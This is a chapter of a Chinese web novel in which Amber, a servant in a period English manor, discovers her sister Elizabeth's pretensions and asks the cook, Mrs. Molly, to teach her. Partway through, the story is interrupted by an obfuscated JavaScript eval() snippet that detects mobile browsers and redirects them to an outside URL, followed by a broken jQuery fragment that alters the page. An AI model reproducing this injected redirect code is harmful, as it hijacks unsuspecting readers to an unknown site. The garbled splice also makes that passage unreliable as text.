冬日的夜晚总是降临得格外早，才傍晚时分，天色就已经全然暗了下来。
安珀独自站在连廊里，周遭静谧得可怕，她甚至能清晰地听见自己的心跳声，一下又一下，在这死寂般的夜里，显得格外突兀。
在一刻钟漫长地等待后，她终于听到正厅里罗拉太太的声音。
安珀轻轻推开大门，极力克制着内心的紧张。为了不出洋相，她还刻意放慢了脚步，让每一步都走得沉稳而端庄。
好在大厅的壁炉烧得暖烘烘的，安珀紧张的神经一下子被这舒适的温度缓解了。
可她紧绷的肩线刚要放松，余光却突然扫到主位边上的倩影。
下一秒，安珀瞪大了双眼——
伊丽莎白？！
她怎么坐那儿？
此时的伊丽莎白已经换下白天那身棉麻的粗布裙衫，只身着一件米色修身连衣裙，款式简洁却不失优雅，恰到好处地勾勒出她的身形。一条纯白的羊绒披肩随意地搭在肩头，细腻的绒毛泛着柔和的光泽，更衬得她肌肤胜雪。披肩的一角自然垂落，随着她的一举一动轻轻摆动，举手投足间都散发着别样的气质，宛如一位真正的贵族小姐。
在安珀进来之前，她正和赫伯夫人亲密交谈着，那模样俨然就是一对亲密的母女，画面十分温馨。
姐妹俩都没想过，彼此会在这样的环境下见面。
伊丽莎白眼神闪烁，心虚地移开了视线。
安珀则尽快调整心绪，像其他女佣一样垂着头，等待主人家的问话。
赫伯夫人是个典型的白人贵妇。为了纪念自己早逝的丈夫，她只穿了一件黑色丝绒长裙，虽无佩戴任何首饰，却无不彰显她高贵典雅的气质。
尽管年过四十，她的脸上也只留淡淡的岁月痕迹，让人很难联想到她有个和伊丽莎白年纪相仿的儿子。
就保养这方面来说，她与玛利亚太太绝对有着天壤之别。
这并不是说赫伯夫人容貌超群，只是玛利亚太太原先也是个大美人，却因常年操持家务、生儿育女，皮肤状态和精气神都远不如赫伯夫人，眉眼间尽是疲惫，容貌反倒是落了下乘。
想来也是，每一次怀胎生子，都是在鬼门关前走一遭。不仅要承受生育风险，更是加速了容颜的衰老，个中艰辛，旁人又如何能知？
安珀越是紧张，脑子里越是胡思乱想。
她暗忖，在没有足够的经济实力之前，自己绝对不能服从威尔逊先生的盲婚哑嫁。
必要时，哪怕拼得鱼死网破，她也要离开这个家。
赫伯夫人对伊丽莎白的慌张毫无察觉，脸上挂着一贯和善的笑容，对安珀说道：“好孩子，你叫安珀对吗？你做的鳗鱼真是太美味了。伊丽莎白，你觉得呢？”
伊丽莎白愣了一下，随即结结巴巴地应道：“哦，是，当然。我从没吃过这么好吃的鳗鱼。”
上位者对下位者的称赞，安珀可不敢当真，更何况赫伯夫人的态度更倾向于随口一提。
安珀施了一礼，谦逊地说道：“您谬赞了，夫人。”
赫伯夫人微微点头，显然对安珀的得体表现颇为满意：“我想圣诞当天，还需要你跟莫莉一起做一道烤牛肋条。至于甜品……”
“就做圣诞派和圣诞布丁吧。”一道清朗的男声突然从门口传来。
理查德步伐轻快地走进大厅，眉眼带笑，随手将衣帽递给候在一旁的佣人，“看来我回来的正是时候。”
“亲爱的，你终于回来了，快来尝尝这道烤鳗鱼。”赫伯夫人的语气里满是宠溺。
或许是遗传了赫伯夫人的美貌，这位理查德少爷确实有点小帅，但是比起今天下午教堂前看见的那位执事先生，安珀只能说差远了。
从理查德踏入大厅的那一刻起，伊丽莎白的目光便紧紧地黏在了他的身上，眼睛里满满的爱意几乎要溢出来，仿佛整个世界只剩下他一个人。
赫伯夫人微笑着吩咐道：“那就做这些吧，我很期待你的手艺。”
安珀恭敬告退：“是的，夫人。”随后缓步退出大厅，轻轻带上雕花木门。
门内传来赫伯夫人嗔怪的声音：“你这一趟去了三日，真是太辛苦了。”
理查德语气坚定：“我可是赫伯家的男人，守护这份家业是我应该做的。”
接着，伊丽莎白不知说了什么俏皮话，惹得赫伯夫人母子朗声大笑。笑声透过门缝飘出，三人亲密无间的模样，宛如真正的一家人。
“这位……”安珀这才想起，自己还不知道这位眼生女佣的名字。
“你可以叫我艾达。”可能是安珀的能力受到了主人家的肯定，女佣也愿意给她一个好脸色。
“好的，艾达，我想请问一下，坐在夫人身边的那位女士……”安珀故作随意地问。
艾达先是环顾了一圈四周，这才露出欲言又止的神色：“嗳，你可别误会，她可不是我们家的小姐，我们少爷是夫人独子……”她刻意拖长尾音，压低嗓音道：“她、她跟我们一样，只是个佣人。”
至于为什么身为佣人的伊丽莎白可以跟主人一样平起平坐，艾达没有多说，只是留下一句：“日子长了，你自然就知道了。”便匆匆离开了。
安珀攥着围裙往厨房走，石板路上的倒影被月光拉得老长。脑海里像放电影一样不断回放着刚才看到的画面，心里的疑惑也愈发浓重。
忽然后方传来急促的脚步声，像是有人小跑着追来。
“安珀——”伊丽莎白的声音带着破风的喘息。
安珀转身惊讶道：“伊丽莎白？”
“听着，你今天看见的一切都不许说出去，知道吗？”
安珀还以为伊丽莎白会问自己祖传菜谱的事情，却不知道对方根本不会做菜，还以为真的是玛利亚太太私下传授给自己的。
她觉得有些好笑，忍不住问：“所以？能请你先解释一下，为什么穿成这样坐在夫人边上吗？”
“你在质问我？听着，安珀，我是姐姐，我这么做自有我的道理！”伊丽莎白涨红着脸，试图用提高嗓音威慑住妹妹，“你给我老老实实呆在厨房，别再往前厅凑！”见安珀神色冷淡并不接话，伊丽莎白又只好咬咬牙，抛出一个让人无法拒绝的条件：“作为交换，我会想办法说服夫人让你留下做长期工。
“前提是，你不能把这一切告诉爸爸妈妈。”
这确实是一个不错的交易，安珀想。
不过伊丽莎白忽略了一点。那就是以自己的能力，就算没有她帮忙，也有机会留在赫伯庄园。
安珀深深地看了她一眼，没有立刻回答。
良久，她才缓缓开口：“我知道了。”
伊丽莎白得到了想要的答案，露出了如释重负的笑容。她有些庆幸自己喊了安珀过来，不敢想今天站在这里的人如果换成科琳……
正当伊丽莎白准备离开之际，安珀同样叫住了她。
伊丽莎白诧异地看向这个永远沉默的妹妹，总觉得她变了，跟自己顶嘴不说，此刻这锐利的眼神，像是能看穿一切谎言。
“伊丽莎白，我不管你在谋划什么，”安珀上前半步，声音低沉却字字清晰，“我希望你在实际行动前，考虑一下我们所有人。”
直觉告诉安珀，这里头有事儿，但她也没办法插手，只能劝诫伊丽莎白脑袋拎拎清。
伊丽莎白脸上闪过一丝不自然，却依然强装镇定：“你想多了，我能有什么事，不过是想在这庄园里过得好点。”说罢，便转身匆匆离去，背影透着几分慌乱。
*
回到厨房后，安珀依然心不在焉，脑海里不断浮现伊丽莎白与赫伯夫人一家相处的画面，伊丽莎白那身华丽的装扮和反常的举动以及艾达的语焉不详……
“安珀——”
“啊？”安珀猛地回过神来，思绪从回忆中挣脱出来。
莉莉瞧着她神色不对，关心道：“你这是怎么啦？喊你好几遍都没反应，夫人没刁难你吧？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547087|171184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“没有。”安珀扯出一丝笑容，让语气尽量显得轻松。
“快来尝尝莫莉太太做的布丁，我给你留了一点。”莉莉把人拉到厨房后的一间杂物房，那里同样是莫莉太太的住所。
莉莉所说的布丁就是今天下午莫莉太太做的那道。
对于这道奇特的菜品，安珀还挺好奇的。
想到自己每天在家吃的那些黑暗料理，现在终于有机会尝试一下庄园大厨的手艺，安珀心里升起几分期待。
她也不矫情，接过布丁就直接用勺子挖了一口放进嘴里，细细品味起来。
入口确实很不错，酥软的馅饼浸润了高汤的鲜美，野兔肉也和寻常肉类不同，自带一股鲜味，莫莉太太的调味也是恰到好处。
可很快，一股奇特的异味瞬间充斥了口腔。
安珀被这股味道勾得险些干呕，好不容易忍过这股冲动，又想起馅料还口中。这下是咽也不是，吐也不是。
莉莉见她脸色几变，忍不住问：“怎么样？”
遭了，差点忘了——
这个时代的英国猪肉是骚的！
本来莫莉太太也没加多少猪肉，但这具身体五感超绝，一点点不对劲也能吃出来。
安珀不得不发挥毕生演技，这才把这口馅料咽了下去。
“非常美味，莫莉太太。”
虽然猪肉有异味，但并不影响莫莉太太的真实水平。
安珀试着说出布丁里的几味隐秘的调料，借机观察莫莉太太的神色，见她面露微笑和赞许，就知道自己果然没看错人。
这是一个真正懂英式料理的厨娘，且人品过硬。
或许过了这个村，就没这个店了。
想到这里，安珀鼓起勇气说：“莫莉太太，我有个不情之请……”
莫莉太太示意她直言。
“我、我能否跟您学习厨艺？”
“哈哈哈哈——你在说什么呢，安珀，你的水平并不在我之下啊。”莫莉太太爽朗地大笑起来，看得出来对安珀的夸赞十分受用。
“实不相瞒，其实我会做的菜并不多。”
安珀会做的西式料理确实不多，这话也不算完全撒谎。而现在的她就像一块海绵，迫切地想要汲取英式料理的知识。
莫莉太太无疑是最好的选择！
当然，安珀也顾及她教会徒弟，饿死师傅的担忧，又提出可以拿出几个菜谱交换。
莫莉太太确实心动了，却不全是为了安珀的菜谱，她看着厨房一地的狼藉，幽幽开口道：“当然可以。其实我也好久没有遇见一个欣赏美食的人了……”
安珀喜不自胜。
只听莫莉太太继续道：“我原本在男爵府负责后厨，我们男爵大人是个十分的风雅之人，平生最爱研究美食，每餐至少都得有十道菜品。当时的日子虽说忙碌但也充实。可自从跟随夫人嫁到赫伯家……”她说着，还翻出积灰磨损的食谱记录本，递给安珀看。
没想到莫莉太太还有这等来历，安珀一边感慨，一边接过细细地看了起来。好在她的英文水平还算不错，哪怕有些词汇比较晦涩，也能猜个七七八八。
赫伯府的餐食确实比威尔逊家的精致几分，却透着敷衍的匠气，离真正能惊艳贵族的料理还差得远。
这更加坚定了安珀想要跟随莫莉太太学习的心。
随即，她又把赫伯夫人对圣诞节餐食的要求，一五一十地告诉了莫莉太太。
莫莉太太听完，眼中瞬间燃起斗志，干劲十足地说道：“终于可以大干一场了！这次圣诞节，我一定要做出让客人回味无穷的菜肴！”
“那我呢？我也想帮忙！”莉莉在一旁急得直跺脚，生怕被落下。
安珀和莫莉太太相视一笑。
“自然不会忘了你。你要是想学，我可以教你。”鉴于莉莉今天机灵的表现，安珀心里已经有了把她培养成厨娘助手的打算，这样她也算有了门手艺，不管去哪里，都能混口饭吃。